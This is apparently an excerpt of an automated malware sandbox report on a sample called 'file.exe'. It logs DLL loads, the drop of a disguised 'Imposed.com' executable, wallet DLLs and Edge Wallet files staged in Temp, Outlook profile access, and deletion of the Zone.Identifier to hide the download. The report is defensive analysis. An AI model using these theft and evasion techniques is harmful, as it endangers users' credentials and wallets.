        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: propsys.dll
        Source: C:\Windows\explorer.exeSection loaded: coremessaging.dll
        Source: C:\Windows\explorer.exeSection loaded: urlmon.dll
        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: wtsapi32.dll
        Source: C:\Windows\explorer.exeSection loaded: wininet.dll
        Source: C:\Windows\explorer.exeSection loaded: uxtheme.dll
        Source: C:\Windows\explorer.exeSection loaded: dwmapi.dll
        Source: C:\Windows\explorer.exeSection loaded: sspicli.dll
        Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: twinapi.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: ntmarta.dll
        Source: C:\Windows\explorer.exeSection loaded: cryptsp.dll
        Source: C:\Windows\explorer.exeSection loaded: wldp.dll
        Source: C:\Windows\explorer.exeSection loaded: iertutil.dll
        Source: C:\Windows\explorer.exeSection loaded: srvcli.dll
        Source: C:\Windows\explorer.exeSection loaded: netutils.dll
        Source: C:\Windows\explorer.exeSection loaded: umpdc.dll
        Source: C:\Windows\explorer.exeSection loaded: dnsapi.dll
        Source: C:\Windows\explorer.exeSection loaded: winhttp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: aepic.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: twinapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: userenv.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: iphlpapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: powrprof.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dxgi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: propsys.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: coremessaging.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: urlmon.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wtsapi32.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wininet.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: uxtheme.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dwmapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: sspicli.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: twinapi.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: ntmarta.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: cryptsp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wldp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: iertutil.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: srvcli.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: netutils.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: umpdc.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: winhttp.dll
        Source: C:\Windows\explorer.exeSection loaded: aepic.dll
        Source: C:\Windows\explorer.exeSection loaded: twinapi.dll
        Source: C:\Windows\explorer.exeSection loaded: userenv.dll
        Source: C:\Windows\explorer.exeSection loaded: ntmarta.dll
        Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dll
        Source: C:\Windows\explorer.exeSection loaded: powrprof.dll
        Source: C:\Windows\explorer.exeSection loaded: cryptsp.dll
        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: dxgi.dll
        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: propsys.dll
        Source: C:\Windows\explorer.exeSection loaded: coremessaging.dll
        Source: C:\Windows\explorer.exeSection loaded: urlmon.dll
        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: wtsapi32.dll
        Source: C:\Windows\explorer.exeSection loaded: wininet.dll
        Source: C:\Windows\explorer.exeSection loaded: uxtheme.dll
        Source: C:\Windows\explorer.exeSection loaded: dwmapi.dll
        Source: C:\Windows\explorer.exeSection loaded: sspicli.dll
        Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: twinapi.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: wldp.dll
        Source: C:\Windows\explorer.exeSection loaded: iertutil.dll
        Source: C:\Windows\explorer.exeSection loaded: srvcli.dll
        Source: C:\Windows\explorer.exeSection loaded: netutils.dll
        Source: C:\Windows\explorer.exeSection loaded: umpdc.dll
        Source: C:\Windows\explorer.exeSection loaded: winhttp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: aepic.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: twinapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: userenv.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: iphlpapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: powrprof.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dxgi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: propsys.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: coremessaging.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: urlmon.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wtsapi32.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wininet.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: uxtheme.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dwmapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: sspicli.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: twinapi.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: ntmarta.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: cryptsp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wldp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: iertutil.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: srvcli.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: netutils.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: umpdc.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dnsapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: winhttp.dll
        Source: C:\Windows\explorer.exeSection loaded: aepic.dll
        Source: C:\Windows\explorer.exeSection loaded: twinapi.dll
        Source: C:\Windows\explorer.exeSection loaded: userenv.dll
        Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dll
        Source: C:\Windows\explorer.exeSection loaded: powrprof.dll
        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: dxgi.dll
        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: propsys.dll
        Source: C:\Windows\explorer.exeSection loaded: coremessaging.dll
        Source: C:\Windows\explorer.exeSection loaded: urlmon.dll
        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: wtsapi32.dll
        Source: C:\Windows\explorer.exeSection loaded: wininet.dll
        Source: C:\Windows\explorer.exeSection loaded: uxtheme.dll
        Source: C:\Windows\explorer.exeSection loaded: dwmapi.dll
        Source: C:\Windows\explorer.exeSection loaded: sspicli.dll
        Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: twinapi.appcore.dll
        Source: C:\Windows\explorer.exeSection loaded: ntmarta.dll
        Source: C:\Windows\explorer.exeSection loaded: cryptsp.dll
        Source: C:\Windows\explorer.exeSection loaded: wldp.dll
        Source: C:\Windows\explorer.exeSection loaded: iertutil.dll
        Source: C:\Windows\explorer.exeSection loaded: srvcli.dll
        Source: C:\Windows\explorer.exeSection loaded: netutils.dll
        Source: C:\Windows\explorer.exeSection loaded: umpdc.dll
        Source: C:\Windows\explorer.exeSection loaded: dnsapi.dll
        Source: C:\Windows\explorer.exeSection loaded: winhttp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: aepic.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: twinapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: userenv.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: iphlpapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: powrprof.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: ntmarta.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: cryptsp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dxgi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: propsys.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: coremessaging.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: urlmon.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wtsapi32.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wininet.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: uxtheme.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dwmapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: sspicli.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: twinapi.appcore.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wldp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: iertutil.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: srvcli.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: netutils.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: umpdc.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: winhttp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dhcpcsvc6.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dhcpcsvc.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: ondemandconnroutehelper.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: webio.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: mswsock.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: winnsi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dnsapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: rasadhlp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: fwpuclnt.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.fileexplorer.common.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: apphelp.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: ntshrui.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: cscapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: profapi.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.staterepositoryps.dll
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wintypes.dll
        Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
        Source: Window RecorderWindow detected: More than 3 window changes detected
        Source: C:\Users\user\AppData\Roaming\chhfaciWindow detected: Number of UI elements: 11
        Source: C:\Windows\SysWOW64\explorer.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
        Source: file.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
        Source: Binary string: WalletProxy.pdbGCTL source: explorer.exe, 0000001A.00000003.2333613232.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2333613232.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327527169.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327272375.0000000004E77000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320476280.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320760713.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320476280.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327272375.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2322491329.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, WalletProxy.dll0.26.dr, WalletProxy.dll.26.dr
        Source: Binary string: walletservice.pdbGCTL source: explorer.exe, 0000001A.00000003.2325265006.0000000004E77000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: WalletProxy.pdb source: explorer.exe, 0000001A.00000003.2333613232.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2333613232.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327527169.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327272375.0000000004E77000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320476280.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320760713.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2320476280.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2327272375.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2322491329.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, WalletProxy.dll0.26.dr, WalletProxy.dll.26.dr
        Source: Binary string: xy.pdb source: explorer.exe, 0000001A.00000003.2327272375.0000000004E77000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2322491329.0000000004E82000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: Windows.ApplicationModel.Wallet.pdb source: Windows.ApplicationModel.Wallet.dll.26.dr
        Source: Binary string: WalletBackgroundServiceProxy.pdb source: explorer.exe, 0000001A.00000003.2321427095.0000000004E82000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2325963812.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2326504004.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2321427095.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2319958442.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2319958442.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2325963812.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2332948821.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2332948821.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, WalletBackgroundServiceProxy.dll.26.dr
        Source: Binary string: WalletBackgroundServiceProxy.pdbGCTL source: explorer.exe, 0000001A.00000003.2325963812.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2326504004.0000000004EB1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2321427095.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2319958442.0000000004EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2319958442.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2325963812.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2332948821.0000000004EA8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2332948821.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, WalletBackgroundServiceProxy.dll.26.dr
        Source: Binary string: xy.pdbGCT.r source: explorer.exe, 0000001A.00000003.2322491329.0000000004E82000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: walletservice.pdb source: explorer.exe, 0000001A.00000003.2325265006.0000000004E77000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: xy.pdbGCT.orp source: explorer.exe, 0000001A.00000003.2327272375.0000000004E77000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: Windows.ApplicationModel.Wallet.pdbGCTL source: Windows.ApplicationModel.Wallet.dll.26.dr
        Source: WalletBackgroundServiceProxy.dll.26.drStatic PE information: 0x7DA9D8DE [Wed Oct 22 10:11:42 2036 UTC]
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_004062FC
        Source: file.exeStatic PE information: real checksum: 0xbf5fc should be: 0xbba1f
        Source: Windows.ApplicationModel.Wallet.dll.26.drStatic PE information: section name: .didat
        Source: Windows.ApplicationModel.Wallet.dll0.26.drStatic PE information: section name: .didat
        Source: WalletService.dll1.26.drStatic PE information: section name: .didat
        Source: Windows.ApplicationModel.Wallet.dll3.26.drStatic PE information: section name: .didat
        Source: Windows.ApplicationModel.Wallet.dll6.26.drStatic PE information: section name: .didat
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009B0E96 push ecx; ret 11_2_009B0EA9
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009B0E96 push ecx; ret 14_2_009B0EA9
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_00401B54 push edi; iretd 15_2_00401B58
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_004032D9 push edx; retf 15_2_004032DE
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 15_2_004032D9 push eax; ret 15_2_004033B9
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00730E96 push ecx; ret 19_2_00730EA9
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_055F9719 push eax; ret 20_3_055F9725
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561EDA1 push eax; ret 20_3_0561EDAD
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561EDA1 push eax; ret 20_3_0561EDAD
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561D527 push eax; retf 20_3_0561D531
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561D527 push eax; retf 20_3_0561D531
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561F13C pushad ; iretd 20_3_0561F13D
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561F13C pushad ; iretd 20_3_0561F13D
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561CF98 pushfd ; iretd 20_3_0561CF99
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561CF98 pushfd ; iretd 20_3_0561CF99
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561EDA1 push eax; ret 20_3_0561EDAD
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561EDA1 push eax; ret 20_3_0561EDAD
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561D527 push eax; retf 20_3_0561D531
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561D527 push eax; retf 20_3_0561D531
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561F13C pushad ; iretd 20_3_0561F13D
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561F13C pushad ; iretd 20_3_0561F13D
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561CF98 pushfd ; iretd 20_3_0561CF99
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_3_0561CF98 pushfd ; iretd 20_3_0561CF99

        Persistence and Installation Behavior

        barindex
        Drops PE files with a suspicious file extension
        Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\390641\Imposed.comJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\System32\WalletProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\System32\WalletBackgroundServiceProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\SysWOW64\Windows.ApplicationModel.Wallet.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\wow64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_69993b7d6814452d\WalletProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\SysWOW64\WalletProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_a953dd8b163491ed\Windows.ApplicationModel.Wallet.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\System32\Windows.ApplicationModel.Wallet.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-w..-service.deployment_31bf3856ad364e35_10.0.19041.985_none_b6bad888bc038c2c\WalletService.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_5f44912b33b38332\WalletProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\SysWOW64\WalletBackgroundServiceProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_fa16cd4ceba3021a\WalletBackgroundServiceProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-w..t-service.resources_31bf3856ad364e35_10.0.19041.1_en-us_0e357aa451e0d2d7\WalletService.dll.muiJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\wow64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_b3a887dd4a9553e8\Windows.ApplicationModel.Wallet.dllJump to dropped file
        Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\390641\Imposed.comJump to dropped file
        Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Roaming\chhfaciJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\wow64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_046b779f2003c415\WalletBackgroundServiceProxy.dllJump to dropped file
        Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Roaming\chhfaciJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.LICENSE.txt
        Source: C:\Windows\SysWOW64\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt

        Hooking and other Techniques for Hiding and Protection

        barindex
        Hides that the sample has been downloaded from the Internet (zone.identifier)
        Source: C:\Windows\explorer.exeFile opened: C:\Users\user\AppData\Roaming\chhfaci:Zone.Identifier read attributes | deleteJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A2231B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,11_2_00A2231B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009AFC88 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,11_2_009AFC88
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A2231B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,14_2_00A2231B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009AFC88 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,14_2_009AFC88
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007A231B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,19_2_007A231B
